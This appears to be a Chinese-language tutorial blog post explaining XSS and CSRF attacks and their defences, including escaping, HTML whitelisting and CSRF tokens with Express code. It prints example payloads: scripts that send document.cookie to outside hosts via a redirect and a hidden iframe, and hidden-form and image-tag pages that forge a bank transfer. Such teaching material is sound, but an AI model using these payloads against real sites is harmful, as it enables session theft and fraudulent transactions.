XSS定义
跨站脚本攻击,通过客户端脚本语言在一个论坛发帖(其他input类型的输入框也可以)中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫XSS!
XSS 跨站脚本攻击 Cross site Scipting
原因
主要原因是多数用户的输入没有被转义,而直接执行。
XSS可以获取到用户cookie或隐私客户端信息。
比如通过location.hash
假设某个网站有一段脚本:
$('#box').html(location.hash.replace('#',''));
攻击者看到后构造了以下URL:
http://a.com/pathname#<script src="http://b.com/c.js"></script>
在这个网站运行了,就会把#去掉,脚本就会运行了!
它可能通过URL压缩成一个短网址如:
http://t.cn/fasdlfj
将这个最终的短网址发给某个登录的用户。
这样一来,这段hash过的脚本将会在这个用户的浏览器执行!
这个c.js 内容:
location.href="http://c.com?"+document.cookie;
获取了用户的cookie!
原理解释
也就是说它是利用了网站的某个漏洞,然后把脚本注入到该网页,让其他登录的用户登录后就会把该用户的信息获取到并发送给一个恶意的服务器。
这里的做法是把压缩后的url发给某个登录的用户。
另一个例子
比如一个网页的评论有漏洞(没有做转义),我在评论区发帖子,如果我在评论写入以下脚本:
<script type="text/javascript">
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
</script>
那么这段代码就会被执行,这个代码会携带者登录用户的cookie信息传输给了http://192.168.123.123/myxss/… 这个服务器,然后服务器的代码就可以接受到了用户的隐式信息! !
主要原理就是注入脚本到安全漏洞啦~!然后发给另一个站点!!
解决防范
我们不需要用户输入HTML也是输入纯文本,转义是个不错的做法。 简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别
CSRF(cross-site Request Forgery)
跨站请求伪造:冒充用户发起请求,完成一些违背用户真实意愿的请求~
CSRF可以做什么
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。
CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。
CSRF原理
图片来自
http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
CSRF和XSS的关系
CSRF更加强调一种形式,只要是伪造用户发起的请求都是CSRF攻击,而XSS更加强调是一种手段。
CSRF可以是XSS实现,也可以是其他形式来伪造请求,只要是伪造了请求即CSRF。
完成CSRF需要两个步骤:
1. 登陆受信任的网站A,在本地生成 COOKIE
2. 在不登出A的情况下,或者本地 COOKIE 没有过期的情况下,访问危险网站B。(也有可能B要求访问A网站)
CSRF不需要知道sessionid就能让用户中招。
原理
CSRF在另一个网站 构造一个表单提交,提交地址也是domain_a
<form id='test' method='POST' action="http://domain_a.com/guestbook"/ >
攻击者只要引诱某个domainA 登录用户访问这个domain_b网站。
自动提交一个留言,这个提交到domain_a的过程中,浏览器会将domain_a的cookie发送到服务器,尽管这个请求是来自domain_b!!!!!!!
三种攻击模式 例如:
网站B有一段HTML代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先你登录网站A,然后,获取的资源,同时留下了cookie。然后你再去访问B,B会在img的src下隐式的发送请求给A,然后获取或者更新资源。
使用POST来完成敏感操作(更新数据)
<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>
但是危险网站B,仍然可以在后台使用
REQUEST去获取请求的数据,而
_REQUEST即可以获取GET请求的数据也可以获取POST请求的数据。
在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。
nodejs
不过在nodejs中,我们可以不处理POST请求的URL后面参数部分:
eq.body.username;//处理请求体 request body
req.query.username; //处理查询字符串
只使用POST请求,只处理POST请求体的数据
恶意网站改成如下:
<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
网站B创建了一个iframe,display设置为none,隐藏了一个表单属性是hidden,暗地里发送POST请求给网站A。
预先把表单的提交值设置好,恶意提交给网站A。
都是源于基于WEB的身份验证机制
CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!
防御机制
1.服务端进行CSRF防御
在客户端页面增加随机数。
Cookie Hashing
也就是构造加密的Cookie信息。 因为攻击者不能获取第三方的cookie,那么它表单中的数据就构造失败了。
它不知道提交什么给服务器。
在表单里增加Hash值,然后在服务端验证它
<form method=”POST” action=”transfer.php”>
<input type=”text” name=”toBankId”>
<input type=”text” name=”money”>
<input type=”hidden” name=”hash” value=”<?=$hash;?>”>
<input type=”submit” name=”submit” value=”Submit”>
</form>
服务器端
这里写代码片
2.验证码
这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄….这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好。
3.token
实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登录验证身份。
利用Token,嵌入到session中,当进行登录操作的时候就生成这个token,也就是说每次表单被渲染的时候,后台就会生成一个伪随机值来覆盖以前的伪随机值:用户只能成功提交他最后打开的表单,因为所有其他的表单都有非法的伪随机值。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。
- 令牌在不同页面最好是不同的,使用全局的token可能会导致破解难度下降,因为令牌方法理论上是可破解的
- 配合验证码。
- 无论是验证码还是令牌,验证过了就一定要记得销毁,或者
//生成一个24位随机值
var csrf=index.generateRandom(24);
req.session.csrf=csrf;
这个代码是在Expres 后台的一部分:
登录的模板页面
extends layout
block content
include style
div.accout-box
form.login-form(method="POST",action="/signin")
div.accout-form-title
label=welcome
div.input-area
input(type="hidden" name="csrf" value=_csrf)
div.input-area
input(id="account",name="username",placeholder="Username/Email/Phone")
div.input-area
input(id="password",name="password",placeholder="password")
button.btn(type="submit")
span Login
浏览器端
多了一个隐藏的csrf输入信息,这个是每次生成这个表单的时候都会生成一个不同的值。
攻击者无法通过cookie或者其他方式获取这个值! 因为它每次都在更新!
//signin app.post('/signin'
exports.signin=function(req,res){
//var _user=req.body.username;
var token=req.session.csrf;
var csrf=req.body.csrf;
var username=req.body.username;
var password=req.body.password;
if(token!==csrf){
return res.status(403).end('Forbidden Access');
}
if(req.session.user)
return res.json({msg:'error!already login!',result:4});
}
服务器端验证
服务器端验证这个csrf,请求体中必须要有这个值才能成功提交获取到后台数据。 如果恶意网站伪造一个隐藏表单,里面的信息填的是cookie的信息来提交,也是没用的,因为cookie中的csrf这个token值是上一次的了,每次页面刷新都会产生一个新的token值。
这就彻底解决了csrf~!
重点是
要有安全意识,APP端和WEB端都不信任外部的任何输入。防止XSS的根本还是过滤用户输入,用户输入不可信任。